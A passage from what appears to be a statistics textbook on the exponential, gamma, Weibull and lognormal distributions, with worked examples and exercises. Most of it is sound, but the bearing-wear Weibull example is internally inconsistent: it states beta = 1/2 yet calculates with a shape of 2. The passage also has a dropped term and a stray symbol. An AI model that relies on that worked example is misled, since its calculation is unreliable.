Probability density function of exponential random variables for selected values of λ.

The exponential distribution obtains its name from the exponential function in the probability density function. Plots of the exponential distribution for selected values of λ are shown in Fig. 4-22. For any value of λ, the exponential distribution is quite skewed. The following results are easily obtained and are left as an exercise.

Mean and Variance

If the random variable X has an exponential distribution with parameter λ,

$$\mu = E(X) = \frac{1}{\lambda} \quad \text{and} \quad \sigma^2 = V(X) = \frac{1}{\lambda^2} \tag{4-15}$$

It is important to **use consistent units** in the calculation of probabilities, means, and variances involving exponential random variables. The following example illustrates unit conversions.

EXAMPLE 4-21 Computer Usage

In a large corporate computer network, user log-ons to the system can be modeled as a Poisson process with a mean of 25 log-ons per hour. What is the probability that there are no log-ons in an interval of 6 minutes?

Let X denote the time in hours from the start of the interval until the first log-on. Then, X has an exponential distribution with $\lambda = 25$ log-ons per hour. We are interested in the probability that X exceeds 6 minutes. Because λ is given in log-ons per hour, we express all time units in hours. That is, 6 minutes = 0.1 hour. The probability requested is shown as the shaded area under the probability density function in Fig. 4-23. Therefore,

$$P(X > 0.1) = \int_{0.1}^{\infty} 25e^{-25x}\,dx = e^{-25(0.1)} = 0.082$$

Also, the cumulative distribution function can be used to obtain the same result as follows:

$$P(X > 0.1) = 1 - F(0.1) = e^{-25(0.1)}$$

An identical answer is obtained by expressing the mean number of log-ons as 0.417 log-ons per minute and computing

Figure 4-23
Probability for the exponential distribution in Example 4-21.

the probability that the time until the next log-on exceeds 6 minutes. Try it.

What is the probability that the time until the next log-on is between 2 and 3 minutes? Upon converting all units to hours,

$$P(0.033 < X < 0.05) = \int_{0.033}^{0.05} 25e^{-25x}\,dx$$

$$= -e^{-25x}\Big|_{0.033}^{0.05} = 0.152$$

An alternative solution is

$$P(0.033 < X < 0.05) = F(0.05) - F(0.033) = 0.152$$

Determine the interval of time such that the probability that no log-on occurs in the interval is 0.90. The question asks for the length of time x such that $P(X > x) = 0.90$. Now,

$$P(X > x) = e^{-25x} = 0.90$$

Take the (natural) log of both sides to obtain $-25x = \ln(0.90) = -0.1054$. Therefore,

$$x = 0.00421 \text{ hour} = 0.25 \text{ minute}$$

Furthermore, the mean time until the next log-on is

$$\mu = 1/25 = 0.04 \text{ hour} = 2.4 \text{ minutes}$$

The standard deviation of the time until the next log-on is

$$\sigma = 1/25 \text{ hours} = 2.4 \text{ minutes}$$

Practical Interpretation: Probabilities for exponential random variables are widely used by organization to evaluate resources and staffing levels to meet customer service needs.

In the previous example, the probability that there are no log-ons in a 6-minute interval is 0.082 regardless of the starting time of the interval. A Poisson process assumes that events occur uniformly throughout the interval of observation; that is, there is no clustering of events. If the log-ons are well modeled by a Poisson process, the probability that the first log-on after noon occurs after 12:06 P.M. is the same as the probability that the first log-on after 3:00 P.M. occurs after 3:06 P.M. And if someone logs on at 2:22 P.M., the probability that the next log-on occurs after 2:28 P.M. is still 0.082.

Our starting point for observing the system does not matter. However, if there are high-use periods during the day, such as right after 8:00 A.M., followed by a period of low use, a Poisson process is not an appropriate model for log-ons and the distribution is not appropriate for computing probabilities. It might be reasonable to model each of the high- and low-use periods by a separate Poisson process, employing a larger value for λ during the high-use periods and a smaller value otherwise. Then, an exponential distribution with the corresponding value of λ can be used to calculate log-on probabilities for the high- and low-use periods.

Lack of Memory Property

An even more interesting property of an exponential random variable is concerned with conditional probabilities.

EXAMPLE 4-22 Lack of Memory Property

Let X denote the time between detections of a particle with a Geiger counter and assume that X has an exponential distribution with $E(X) = 1.4$ minutes. The probability that we detect a particle within 30 seconds of starting the counter is

$$P(X < 0.5 \text{ minute}) = F(0.5) = 1 - e^{-0.5/1.4} = 0.30$$

In this calculation, all units are converted to minutes. Now, suppose we turn on the Geiger counter and wait 3 minutes without detecting a particle. What is the probability that a particle is detected in the next 30 seconds?

Because we have already been waiting for 3 minutes, we feel that we are "due." That is, the probability of a detection in the next 30 seconds should be greater than 0.3. However, for an exponential distribution, this is not true. The requested probability can be expressed as the conditional probability that $P(X < 3.5 | X > 3)$. From the definition of conditional probability,

$$P(X < 3.5 | X > 3) = P(3 < X < 3.5)/P(X > 3)$$

where

$$P(3 < X < 3.5) = F(3.5) - F(3)$$
$$= [1 - e^{-3.5/1.4}] - [1 - e^{-3/1.4}] = 0.035$$

and

$$P(X > 3) = 1 - F(3) = e^{-3/1.4} = 0.117$$

Therefore,

$$P(X < 3.5 | X > 3) = 0.035/0.117 = 0.30$$

Practical Interpretation: After waiting for 3 minutes without a detection, the probability of a detection in the next 30 seconds is the same as the probability of a detection in the 30 seconds immediately after starting the counter. The fact that you have waited 3 minutes without a detection does not change the probability of a detection in the next 30 seconds.

Example 4-22 illustrates the **lack of memory property** of an exponential random variable, and a general statement of the property follows. In fact, the exponential distribution is the only continuous distribution with this property.

Lack of Memory Property

For an exponential random variable X,

$$P(X < t_1 + t_2 | X > t_1) = P(X < t_2) \tag{4-16}$$

Figure 4-24 graphically illustrates the lack of memory property. The area of region A divided by the total area under the probability density function $(A + B + C + D = 1)$ equals $P(X < t_2)$. The area of region C divided by the area $C + D$ equals $P(X < t_1 + t_2 | X > t_1)$. The lack of memory property implies that the proportion of the total area that is in A equals the proportion of the area in C and D that is in C. The mathematical verification of the lack of memory property is left as a mind-expanding exercise.

The lack of memory property is not that surprising when you consider the development of a Poisson process. In that development, we assumed that an interval could be partitioned into small intervals that were independent. These subintervals are similar to independent Bernoulli trials that comprise a binomial experiment; knowledge of previous results does not

Figure 4-24 Lack of memory property of an exponential distribution.

affect the probabilities of events in future subintervals. An exponential random variable is the continuous analog of a geometric random variable, and they share a similar lack of memory property.

The exponential distribution is often used in reliability studies as the model for the time until failure of a device. For example, the lifetime of a semiconductor chip might be modeled as an exponential random variable with a mean of 40,000 hours. The lack of memory property of the exponential distribution implies that the device does not wear out. That is, regardless of how long the device has been operating, the probability of a failure in the next 1000 hours is the same as the probability of a failure in the first 1000 hours of operation. The lifetime L of a device with failures caused by random shocks might be appropriately modeled as an exponential random variable. However, the lifetime L of a device that suffers slow mechanical wear, such as bearing wear, is better modeled by a distribution such that $P(L < t + \Delta t | L > t)$ increases with t. Distributions such as the Weibull distribution are often used, in practice, to model the failure time of this type of device. The Weibull distribution is presented in a later section.

EXERCISES FOR SECTION 4-8

4-90. Suppose X has an exponential distribution with $\lambda = 2$. Determine the following:
(a) $P(X \leq 0)$ (b) $P(X \geq 2)$
(c) $P(X \leq 1)$ (d) $P(1 < X < 2)$
(e) Find the value of x such that $P(X < x) = 0.05$.

4-91. Suppose X has an exponential distribution with mean equal to 10. Determine the following:
(a) $P(X > 10)$ (b) $P(X > 20)$
(c) $P(X < 30)$
(d) Find the value of x such that $P(X < x) = 0.95$.

4-92. Suppose X has an exponential distribution with a mean of 10. Determine the following:
(a) $P(X < 5)$
(b) $P(X < 15 | X > 10)$
(c) Compare the results in parts (a) and (b) and comment on the role of the lack of memory property.

4-93. Suppose the counts recorded by a Geiger counter follow a Poisson process with an average of two counts per minute.
(a) What is the probability that there are no counts in a 30-second interval?
(b) What is the probability that the first count occurs in less than 10 seconds?
(c) What is the probability that the first count occurs between 1 and 2 minutes after start-up?

4-94. Suppose that the log-ons to a computer network follow a Poisson process with an average of 3 counts per minute.
(a) What is the mean time between counts?
(b) What is the standard deviation of the time between counts?
(c) Determine x such that the probability that at least one count occurs before time x minutes is 0.95.

4-95. The time between calls to a plumbing supply business is exponentially distributed with a mean time between calls of 15 minutes.
(a) What is the probability that there are no calls within a 30-minute interval?
(b) What is the probability that at least one call arrives within a 10-minute interval?
(c) What is the probability that the first call arrives within 5 and 10 minutes after opening?
(d) Determine the length of an interval of time such that the probability of at least one call in the interval is 0.90.

4-96. The life of automobile voltage regulators has an exponential distribution with a mean life of six years. You purchase an automobile that is six years old, with a working voltage regulator, and plan to own it for six years.
(a) What is the probability that the voltage regulator fails during your ownership?
(b) If your regulator fails after you own the automobile three years and it is replaced, what is the mean time until the next failure?

4-97. Suppose that the time to failure (in hours) of fans in a personal computer can be modeled by an exponential distribution with $\lambda = 0.0003$.
(a) What proportion of the fans will last at least 10,000 hours?
(b) What proportion of the fans will last at most 7000 hours?

4-98. The time between the arrival of electronic messages at your computer is exponentially distributed with a mean of two hours.
(a) What is the probability that you do not receive a message during a two-hour period?
(b) If you have not had a message in the last four hours, what is the probability that you do not receive a message in the next two hours?
(c) What is the expected time between your fifth and sixth messages?

4-99. The time between arrivals of taxis at a busy intersection is exponentially distributed with a mean of 10 minutes.

(a) What is the probability that you wait longer than one hour for a taxi?
(b) Suppose you have already been waiting for one hour for a taxi. What is the probability that one arrives within the next 10 minutes?
(c) Determine x such that the probability that you wait more than x minutes is 0.10.
(d) Determine x such that the probability that you wait less than x minutes is 0.90.
(e) Determine x such that the probability that you wait less than x minutes is 0.50.

4-100. The number of stork sightings on a route in South Carolina follows a Poisson process with a mean of 2.3 per year.
(a) What is the mean time between sightings?
(b) What is the probability that there are no sightings within three months (0.25 years)?
(c) What is the probability that the time until the first sighting exceeds six months?
(d) What is the probability of no sighting within three years?

4-101. According to results from the analysis of chocolate bars in Chapter 3, the mean number of insect fragments was 14.4 in 225 grams. Assume the number of fragments follows a Poisson distribution.
(a) What is the mean number of grams of chocolate until a fragment is detected?
(b) What is the probability that there are no fragments in a 28.35-gram (one-ounce) chocolate bar?
(c) Suppose you consume seven one-ounce (28.35-gram) bars this week. What is the probability of no insect fragments?

4-102. The distance between major cracks in a highway follows an exponential distribution with a mean of 5 miles.
(a) What is the probability that there are no major cracks in a 10-mile stretch of the highway?
(b) What is the probability that there are two major cracks in a 10-mile stretch of the highway?
(c) What is the standard deviation of the distance between major cracks?
(d) What is the probability that the first major crack occurs between 12 and 15 miles of the start of inspection?
(e) What is the probability that there are no major cracks in two separate 5-mile stretches of the highway?
(f) Given that there are no cracks in the first 5 miles inspected, what is the probability that there are no major cracks in the next 10 miles inspected?

4-103. The lifetime of a mechanical assembly in a vibration test is exponentially distributed with a mean of 400 hours.
(a) What is the probability that an assembly on test fails in less than 100 hours?
(b) What is the probability that an assembly operates for more than 500 hours before failure?
(c) If an assembly has been on test for 400 hours without a failure, what is the probability of a failure in the next 100 hours?
(d) If 10 assemblies are tested, what is the probability that at least one fails in less than 100 hours? Assume that the assemblies fail independently.
(e) If 10 assemblies are tested, what is the probability that all have failed by 800 hours? Assume the assemblies fail independently.

4-104. The time between arrivals of small aircraft at a county airport is exponentially distributed with a mean of one hour.
(a) What is the probability that more than three aircraft arrive within an hour?
(b) If 30 separate one-hour intervals are chosen, what is the probability that no interval contains more than three arrivals?
(c) Determine the length of an interval of time (in hours) such that the probability that no arrivals occur during the interval is 0.10.

4-105. The time between calls to a corporate office is exponentially distributed with a mean of 10 minutes.
(a) What is the probability that there are more than three calls in one-half hour?
(b) What is the probability that there are no calls within one-half hour?
(c) Determine x such that the probability that there are no calls within x hours is 0.01.
(d) What is the probability that there are no calls within a two-hour interval?
(e) If four nonoverlapping one-half-hour intervals are selected, what is the probability that none of these intervals contains any call?
(f) Explain the relationship between the results in part (a) and (b).

4-106. Assume that the flaws along a magnetic tape follow a Poisson distribution with a mean of 0.2 flaw per meter. Let X denote the distance between two successive flaws.
(a) What is the mean of X?
(b) What is the probability that there are no flaws in 10 consecutive meters of tape?
(c) Does your answer to part (b) change if the 10 meters are not consecutive?
(d) How many meters of tape need to be inspected so that the probability that at least one flaw is found is 90%?
(e) What is the probability that the first time the distance between two flaws exceeds 8 meters is at the fifth flaw?
(f) What is the mean number of flaws before a distance between two flaws exceeds 8 meters?

4-107. If the random variable X has an exponential distribution with mean θ, determine the following:
(a) $P(X > \theta)$ (b) $P(X > 2\theta)$
(c) $P(X > 3\theta)$
(d) How do the results depend on θ?

4-108. Derive the formula for the mean and variance of an exponential random variable.

4-109. Web crawlers need to estimate the frequency of changes to Web sites to maintain a current index for Web searches. Assume that the changes to a Web site follow a Poisson process with a mean of 3.5 days.

(a) What is the probability that the next change occurs in less than two days?

(b) What is the probability that the next change occurs in greater than seven days?

(c) What is the time of the next change that is exceeded with probability 90%?

(d) What is the probability that the next change occurs in less than 10 days, given that it has not yet occurred after three days?

4-110. The length of stay at a specific emergency department in Phoenix, Arizona, had a mean of 4.6 hours. Assume that the length of stay is exponentially distributed.

(a) What is the standard deviation of the length of stay?

(b) What is the probability of a length of stay greater than 10 hours?

(c) What length of stay is exceeded by 25% of the visits?

4-9 ERLANG AND GAMMA DISTRIBUTIONS

An exponential random variable describes the length until the first count is obtained in a Poisson process. A generalization of the exponential distribution is the length until r counts occur in a Poisson process. Consider the following example.

EXAMPLE 4-23 Processor Failure

The failures of the central processor units of large computer systems are often modeled as a Poisson process. Typically, failures are not caused by components wearing out, but by more random failures of the large number of semiconductor circuits in the units. Assume that the units that fail are immediately repaired, and assume that the mean number of failures per hour is 0.0001. Let X denote the time until four failures occur in a system. Determine the probability that X exceeds 40,000 hours.

Let the random variable N denote the number of failures in 40,000 hours of operation. The time until four failures occur exceeds 40,000 hours if and only if the number of failures in 40,000 hours is three or less. Therefore,

$$P(X > 40{,}000) = P(N \le 3)$$

The assumption that the failures follow a Poisson process implies that N has a Poisson distribution with

$$E(N) = 40{,}000(0.0001) = 4 \text{ failures per } 40{,}000 \text{ hours}$$

Therefore,

$$P(X > 40{,}000) = P(N \le 3) = \sum_{k=0}^{3} \frac{e^{-4}4^k}{k!} = 0.433$$

The previous example can be generalized to show that if X is the time until the rth event in a Poisson process, then

$$P(X > x) = \sum_{k=0}^{r-1} \frac{e^{-\lambda x}(\lambda x)^k}{k!}$$

Because $P(X > x) = 1 - F(x)$, the probability density function of X equals the negative of the derivative of the right-hand side of the previous equation. After extensive algebraic simplification, the probability density function of X can be shown to equal

$$f(x) = \frac{\lambda^r x^{r-1} e^{-\lambda x}}{(r-1)!} \text{ for } x > 0 \text{ and } r = 1, 2, \ldots.$$

This probability density function defines an **Erlang distribution.** Clearly, an Erlang random variable with $r = 1$ is an exponential random variable.

It is convenient to generalize the Erlang distribution to allow r to assume any nonnegative value. Then the Erlang and some other common distributions become special cases of this generalized distribution. To accomplish this step, the factorial function $(r - 1)!$ has to be generalized to apply to any nonnegative value of r, but the generalized function should still equal ()! when r is a positive integer.

Gamma Function

The **gamma function** is

$$\Gamma(r) = \int_0^\infty x^{r-1}e^{-x}\,dx, \quad \text{for } r > 0 \tag{4-17}$$

It can be shown that the integral in the definition of $\Gamma(r)$ is finite. Furthermore, by using integration by parts it can be shown that

$$\Gamma(r) = (r-1)\Gamma(r-1)$$

This result is left as an exercise. Therefore, if r is a positive integer (as in the Erlang distribution),

$$\Gamma(r) = (r-1)!$$

Also, $\Gamma(1) = 0! = 1$ and it can be shown that $\Gamma(1/2) = \pi^{1/2}$. The gamma function can be interpreted as a generalization to noninteger values of r of the term that is used in the Erlang probability density function. Now the Erlang distribution can be generalized.

Gamma Distribution

The random variable X with probability density function

$$f(x) = \frac{\lambda^r x^{r-1} e^{-\lambda x}}{\Gamma(r)}, \quad \text{for } x > 0 \tag{4-18}$$

has a **gamma random variable** with parameters $\lambda > 0$ and $r > 0$. If r is an integer, X has an Erlang distribution.

The parameters λ and r are often called the **scale** and **shape** parameters, respectively. However, one should check the definitions used in software packages. For example, Minitab defines the scale parameter as $1/\lambda$. Sketches of the gamma distribution for several values of λ and r are shown in Fig. 4-25. Many different shapes can be generated from changes to the

Figure 4-25 Gamma probability density functions for selected values of λ and r.

parameters. Also, the change of variable $u = \lambda x$ and the definition of the gamma function can be used to show that the density integrates to one.

Recall that for an exponential distribution with parameter λ, the mean and variance are $1/\lambda$ and $1/\lambda^2$, respectively. An Erlang random variable is the time until the rth event in a Poisson process and the time between events are independent. Therefore, it is plausible that the mean and variance of a gamma random variable multiply the exponential results by r. This motivates the following conclusions. Repeated integration by parts can be used to derive these, but the details are lengthy and omitted.

Mean and Variance

If X is a **gamma random variable** with parameters λ and r,

$$\mu = E(X) = r/\lambda \quad \text{and} \quad \sigma^2 = V(X) = r/\lambda^2 \tag{4-19}$$

EXAMPLE 4-24

The time to prepare a micro-array slide for high-throughput genomics is a Poisson process with a mean of two hours per slide. What is the probability that 10 slides require more than 25 hours to prepare?

Let X denote the time to prepare 10 slides. Because of the assumption of a Poisson process, X has a gamma distribution with $\lambda = 1/2$, $r = 10$, and the requested probability is $P(X > 25)$. The probability can be obtained from software that provides cumulative Poisson probabilities or gamma probabilities. For the cumulative Poisson probabilities we use the method in Example 4-23 to obtain

$$P(X > 25) = \sum_{k=0}^{9} \frac{e^{-12.5}(12.5)^k}{k!}$$

In Minitab we set the mean = 12.5 and the input = 9 to obtain $P(X > 25) = 0.2014$.

As a check, we use the gamma cumulative probability function in Minitab. Set the shape parameter to 10, the scale parameter to 2 because Minitab uses the inverse of our definition, and the input to 25. The probability computed is $P(X \le 25) = 0.7986$, and when this is subtracted from one we match with the previous result that $P(X > 25) = 0.2014$.

What are the mean and standard deviation of the time to prepare 10 slides? The mean time is

$$E(X) = r/\lambda = 10/0.5 = 20$$

The variance of time is

$$V(X) = r/\lambda^2 = 10/0.5^2 = 40$$

so that the standard deviation is $40^{1/2} = 6.32$ hours.

The slides will be completed by what length of time with probability equal to 0.95? The question asks for x such that

$$P(X \le x) = 0.95$$

where X is gamma with $\lambda = 0.5$ and $r = 10$. In Minitab, we use the gamma inverse cumulative probability function and set the shape parameter to 10, the scale parameter to 2 because Minitab uses the inverse of our definition, and the probability to 0.95. The solution computed is

$$P(X \le 31.41) = 0.95$$

Practical Interpretation: Based on this result a schedule that allows 31.41 hours to prepare 10 slides should be met on 95% of occasions.

Furthermore, the **chi-squared distribution** is a special case of the gamma distribution in which $\lambda = 1/2$ and r equals one of the values $1/2, 1, 3/2, 2, \ldots$. This distribution is used extensively in interval estimation and tests of hypotheses that are discussed in subsequent chapters. The chi-squared distribution is discussed in Chapter 7.

EXERCISES FOR SECTION 4-9

4-111. Use the properties of the gamma function to evaluate the following:
(a) $\Gamma(6)$ (b) $\Gamma(5/2)$
(c) $\Gamma(9/2)$

4-112. Given the probability density function $f(x) = 0.01^3 x^2 e^{-0.01x}/\Gamma(3)$, determine the mean and variance of the distribution.

4-113. Calls to a telephone system follow a Poisson distribution with a mean of five calls per minute.
(a) What is the name applied to the distribution and parameter values of the time until the tenth call?
(b) What is the mean time until the tenth call?
(c) What is the mean time between the ninth and tenth calls?

(d) What is the probability that exactly four calls occur within one minute?
(e) If 10 separate 1-minute intervals are chosen, what is the probability that all intervals contain more than two calls?

4-114. Raw materials are studied for contamination. Suppose that the number of particles of contamination per pound of material is a Poisson random variable with a mean of 0.01 particle per pound.
(a) What is the expected number of pounds of material required to obtain 15 particles of contamination?
(b) What is the standard deviation of the pounds of materials required to obtain 15 particles of contamination?

4-115. The time between failures of a laser in a cytogenics machine is exponentially distributed with a mean of 25,000 hours.
(a) What is the expected time until the second failure?
(b) What is the probability that the time until the third failure exceeds 50,000 hours?

4-116. In a data communication system, several messages that arrive at a node are bundled into a packet before they are transmitted over the network. Assume the messages arrive at the node according to a Poisson process with $\tau = 30$ messages per minute. Five messages are used to form a packet.
(a) What is the mean time until a packet is formed, that is, until five messages have arrived at the node?
(b) What is the standard deviation of the time until a packet is formed?
(c) What is the probability that a packet is formed in less than 10 seconds?
(d) What is the probability that a packet is formed in less than 5 seconds?

4-117. Errors caused by contamination on optical disks occur at the rate of one error every 10^5 bits. Assume the errors follow a Poisson distribution.
(a) What is the mean number of bits until five errors occur?
(b) What is the standard deviation of the number of bits until five errors occur?
(c) The error-correcting code might be ineffective if there are three or more errors within 10^5 bits. What is the probability of this event?

4-118. Calls to the help line of a large computer distributor follow a Poisson distribution with a mean of 20 calls per minute.
(a) What is the mean time until the one-hundredth call?
(b) What is the mean time between call numbers 50 and 80?
(c) What is the probability that three or more calls occur within 15 seconds?

4-119. The time between arrivals of customers at an automatic teller machine is an exponential random variable with a mean of 5 minutes.
(a) What is the probability that more than three customers arrive in 10 minutes?
(b) What is the probability that the time until the fifth customer arrives is less than 15 minutes?

4-120. Use integration by parts to show that $\Gamma(r) = (r-1)\Gamma(r-1)$.

4-121. Show that the gamma density function $f(x, \lambda, r)$ integrates to 1.

4-122. Use the result for the gamma distribution to determine the mean and variance of a chi-square distribution with $r = 7/2$.

4-123. Patients arrive at an emergency department according to a Poisson process with a mean of 6.5 per hour.
(a) What is the mean time until the tenth arrival?
(b) What is the probability that more than 20 minutes is required for the third arrival?

4-124. The total service time of a multistep manufacturing operation has a gamma distribution with mean 18 minutes and standard deviation 6.
(a) Determine the parameters λ and r of the distribution.
(b) Assume each step has the same distribution for service time. What distribution for each step and how many steps produce this gamma distribution of total service time?

4-10 WEIBULL DISTRIBUTION

As mentioned previously, the Weibull distribution is often used to model the time until failure of many different physical systems. The parameters in the distribution provide a great deal of flexibility to model systems in which the number of failures increases with time (bearing wear), decreases with time (some semiconductors), or remains constant with time (failures caused by external shocks to the system).

Weibull Distribution

The random variable X with probability density function

$$f(x) = \frac{\beta}{\delta}\left(\frac{x}{\delta}\right)^{\beta-1} \exp\left[-\left(\frac{x}{\delta}\right)^{\beta}\right], \qquad \text{for } x > 0 \tag{4-20}$$

is a **Weibull random variable** with scale parameter $\delta > 0$ and shape parameter $\beta > 0$.

Figure 4-26 Weibull probability density functions for selected values of δ and β.

The flexibility of the Weibull distribution is illustrated by the graphs of selected probability density functions in Fig. 4-26. By inspecting the probability density function, it is seen that when $\beta = 1$, the Weibull distribution is identical to the exponential distribution. Also, the **Raleigh distribution** is a special case when the shape parameter is 2.

The cumulative distribution function is often used to compute probabilities. The following result can be obtained.

Cumulative Distribution Function

If X has a Weibull distribution with parameters δ and β, then the cumulative distribution function of X is

$$F(x) = 1 - e^{-\left(\frac{x}{\delta}\right)^{\beta}} \tag{4-21}$$

Also, the following result can be obtained.

Mean and Variance

If X has a Weibull distribution with parameters δ and β,

$$\mu = E(X) = \delta\Gamma\left(1 + \frac{1}{\beta}\right) \quad \text{and} \quad \sigma^2 = V(X) = \delta^2\Gamma\left(1 + \frac{2}{\beta}\right) - \delta^2\left[\Gamma\left(1 + \frac{1}{\beta}\right)\right]^2 \tag{4-21}$$

EXAMPLE 4-25 Bearing Wear

The time to failure (in hours) of a bearing in a mechanical shaft is satisfactorily modeled as a Weibull random variable with $\beta = 1/2$ and $\delta = 5000$ hours. Determine the mean time until failure.

From the expression for the mean,

$$E(X) = 5000\Gamma[1 + (1/2)] = 5000\Gamma[1.5]$$
$$= 5000 \times 0.5\sqrt{\pi}! = 4431.1 \text{ hours}$$

Determine the probability that a bearing lasts at least 6000 hours. Now,

$$P(X > 6000) = 1 - F(6000) = \exp\left[-\left(\frac{6000}{5000}\right)^2\right]$$
$$= e^{-1.44} = 0.237$$

Practical Interpretation: Consequently, only 23.7% of all bearings last at least 6000 hours.

EXERCISES FOR SECTION 4-10

4-125. Suppose that X has a Weibull distribution with $\beta = 0.2$ and $\delta = 100$ hours. Determine the mean and variance of X.

4-126. Suppose that X has a Weibull distribution with $\beta = 0.2$ and $\delta = 100$ hours. Determine the following:
(a) $P(X < 10{,}000)$ (b) $P(X > 5000)$

4-127. If X is a Weibull random variable with $\beta = 1$ and $\delta = 1000$, what is another name for the distribution of X and what is the mean of X?

4-128. Assume that the life of a roller bearing follows a Weibull distribution with parameters $\beta = 2$ and $\delta = 10{,}000$ hours.
(a) Determine the probability that a bearing lasts at least 8000 hours.
(b) Determine the mean time until failure of a bearing.
(c) If 10 bearings are in use and failures occur independently, what is the probability that all 10 bearings last at least 8000 hours?

4-129. The life (in hours) of a computer processing unit (CPU) is modeled by a Weibull distribution with parameters $\beta = 3$ and $\delta = 900$ hours.
(a) Determine the mean life of the CPU.
(b) Determine the variance of the life of the CPU.
(c) What is the probability that the CPU fails before 500 hours?

4-130. Assume the life of a packaged magnetic disk exposed to corrosive gases has a Weibull distribution with $\beta = 0.5$ and the mean life is 600 hours.
(a) Determine the probability that a packaged disk lasts at least 500 hours.
(b) Determine the probability that a packaged disk fails before 400 hours.

4-131. The life (in hours) of a magnetic resonance imaging machine (MRI) is modeled by a Weibull distribution with parameters $\beta = 2$ and $\delta = 500$ hours.
(a) Determine the mean life of the MRI.
(b) Determine the variance of the life of the MRI.
(c) What is the probability that the MRI fails before 250 hours?

4-132. An article in the *Journal of the Indian Geophysical Union* titled "Weibull and Gamma Distributions for Wave Parameter Predictions" (2005, Vol. 9, pp. 55–64) used the Weibull distribution to model ocean wave heights. Assume that the mean wave height at the observation station is 2.5 m and the shape parameter equals 2. Determine the standard deviation of wave height.

4-133. An article in the *Journal of Geophysical Research* ["Spatial and Temporal Distributions of U.S. of Winds and Wind Power at 80 m Derived from Measurements," (2003, vol. 108, pp. 10–1: 10–20)] considered wind speed at stations throughout the U.S. A Weibull distribution can be used to model the distribution of wind speeds at a given location. Every location is characterized by a particular shape and scale parameter. For a station at Amarillo, Texas, the mean wind speed at 80 m (the hub height of large wind turbines) in 2000 was 10.3 m/s with a standard deviation of 4.9 m/s. Determine the shape and scale parameters of a Weibull distribution with these properties.

4-134. Suppose that X has a Weibull distribution with $\beta = 2$ and $\delta = 8.6$. Determine the following:
(a) $P(X < 10)$ (b) $P(X > 9)$
(c) $P(8 < X < 11)$
(d) value for x such that $P(X > x) = 0.9$

4-135. Suppose the lifetime of a component (in hours) is modeled with a Weibull distribution with $\beta = 2$ and $\delta = 4000$. Determine the following:
(a) $P(X > 3000)$ (b) $P(X > 6000 \mid X > 3000)$
(c) Comment on the probabilities in the previous parts compared to the results for an exponential distribution.

4-136. Suppose the lifetime of a component (in hours) is modeled with a Weibull distribution with $\beta = 0.5$ and $\delta = 4000$. Determine the following:
(a) $P(X > 3000)$ (b) $P(X > 6000 \mid X > 3000)$
(c) Comment on the probabilities in the previous parts compared to the results for an exponential distribution.
(d) Comment on the role of the parameter β in a lifetime model with the Weibull distribution.

4-137. Suppose X has a Weibull distribution with $\beta = 2$ and $\delta = 2000$.

(a) Determine $P(X > 3500)$.
(b) Determine $P(X > 3500)$ for an exponential random variable with the same mean as the Weibull distribution.
(c) Suppose X represent the lifetime of a component in hours. Comment on the probability that the lifetime exceeds 3500 hours under the Weibull and exponential distributions.

4-11 LOGNORMAL DISTRIBUTION

Variables in a system sometimes follow an exponential relationship as $x = \exp(w)$. If the exponent is a random variable W, then $X = \exp(W)$ is a random variable with a distribution of interest. An important special case occurs when W has a normal distribution. In that case, the distribution of X is called a **lognormal distribution.** The name follows from the transformation $\ln(X) = W$. That is, the natural logarithm of X is normally distributed.

Probabilities for X are obtained from the transformation to W, but the range of X is $(0, \infty)$. Suppose that W is normally distributed with mean θ and variance ω^2; then the cumulative distribution function for X is

$$F(x) = P[X \le x] = P[\exp(W) \le x] = P[W \le \ln(x)]$$
$$= P\left[Z \le \frac{\ln(x) - \theta}{\omega}\right] = \Phi\left[\frac{\ln(x) - \theta}{\omega}\right]$$

for $x > 0$, where Z is a standard normal random variable. Therefore, Appendix Table III can be used to determine the probability. Also, $F(x) = 0$ for $x \le 0$.

The probability density function of X can be obtained from the derivative of $F(x)$. This derivative is applied to the last term in the expression for $F(x)$, the integral of the standard normal density function. Furthermore, from the probability density function, the mean and variance of X can be derived. The details are omitted, but a summary of results follows.

Lognormal Distribution

Let W have a normal distribution with mean θ and variance ω^2; then $X = \exp(W)$ is a **lognormal random variable** with probability density function

$$f(x) = \frac{1}{x\omega\sqrt{2\pi}} \exp\left[-\frac{(\ln x - \theta)^2}{2\omega^2}\right] \qquad 0 < x < \infty$$

The mean and variance of X are

$$E(X) = e^{\theta + \omega^2/2} \quad \text{and} \quad V(X) = e^{2\theta + \omega^2}(e^{\omega^2} - 1) \qquad (4\text{-}22)$$

The parameters of a lognormal distribution are θ and ω^2, but care is needed to interpret that these are the mean and variance of the normal random variable W. The mean and variance of X are the functions of these parameters shown in (4-22). Figure 4-27 illustrates lognormal distributions for selected values of the parameters.

The lifetime of a product that degrades over time is often modeled by a lognormal random variable. For example, this is a common distribution for the lifetime of a semiconductor laser. A Weibull distribution can also be used in this type of application, and with an appropriate choice for parameters, it can approximate a selected lognormal distribution. However, a lognormal distribution is derived from a simple exponential function of a normal random variable, so it is easy to understand and easy to evaluate probabilities.

Figure 4-27 Lognormal probability density functions with $\theta = 0$ for selected values of ω^2.

EXAMPLE 4-26 Semiconductor Laser

The lifetime of a semiconductor laser has a lognormal distribution with $\theta = 10$ hours and $\omega = 1.5$ hours. What is the probability that the lifetime exceeds 10,000 hours?

From the cumulative distribution function for X,

$$\begin{aligned} P(X > 10{,}000) &= 1 - P[\exp(W) \le 10{,}000] \\ &= 1 - P[W \le \ln(10{,}000)] \\ &= 1 - \Phi\left(\frac{\ln(10{,}000) - 10}{1.5}\right) = 1 - \Phi(-0.52) \\ &= 1 - 0.30 = 0.70 \end{aligned}$$

What lifetime is exceeded by 99% of lasers? The question is to determine x such that $P(X > x) = 0.99$. Therefore,

$$\begin{aligned} P(X > x) &= P[\exp(W) > x] = P[W > \ln(x)] \\ &= 1 - \Phi\left(\frac{\ln(x) - 10}{1.5}\right) = 0.99 \end{aligned}$$

From Appendix Table III, $1 - \Phi(z) = 0.99$ when $z = -2.33$. Therefore,

$$\frac{\ln(x) - 10}{1.5} = -2.33 \quad \text{and} \quad x = \exp(6.505) = 668.48 \text{ hours}$$

Determine the mean and standard deviation of lifetime. Now,

$$\begin{aligned} E(X) &= e^{\theta + \omega^2/2} = \exp(10 + 1.125) = 67{,}846.3 \\ V(X) &= e^{2\theta + \omega^2}(e^{\omega^2} - 1) = \exp(20 + 2.25)[\exp(2.25) - 1] \\ &= 39{,}070{,}059{,}886.6 \end{aligned}$$

so the standard deviation of X is 197,661.5 hours.

Practical Interpretation: The standard deviation of a lognormal random variable can be large relative to the mean.

EXERCISES FOR SECTION 4-11

4-138. Suppose that X has a lognormal distribution with parameters $\theta = 5$ and $\omega^2 = 9$. Determine the following:
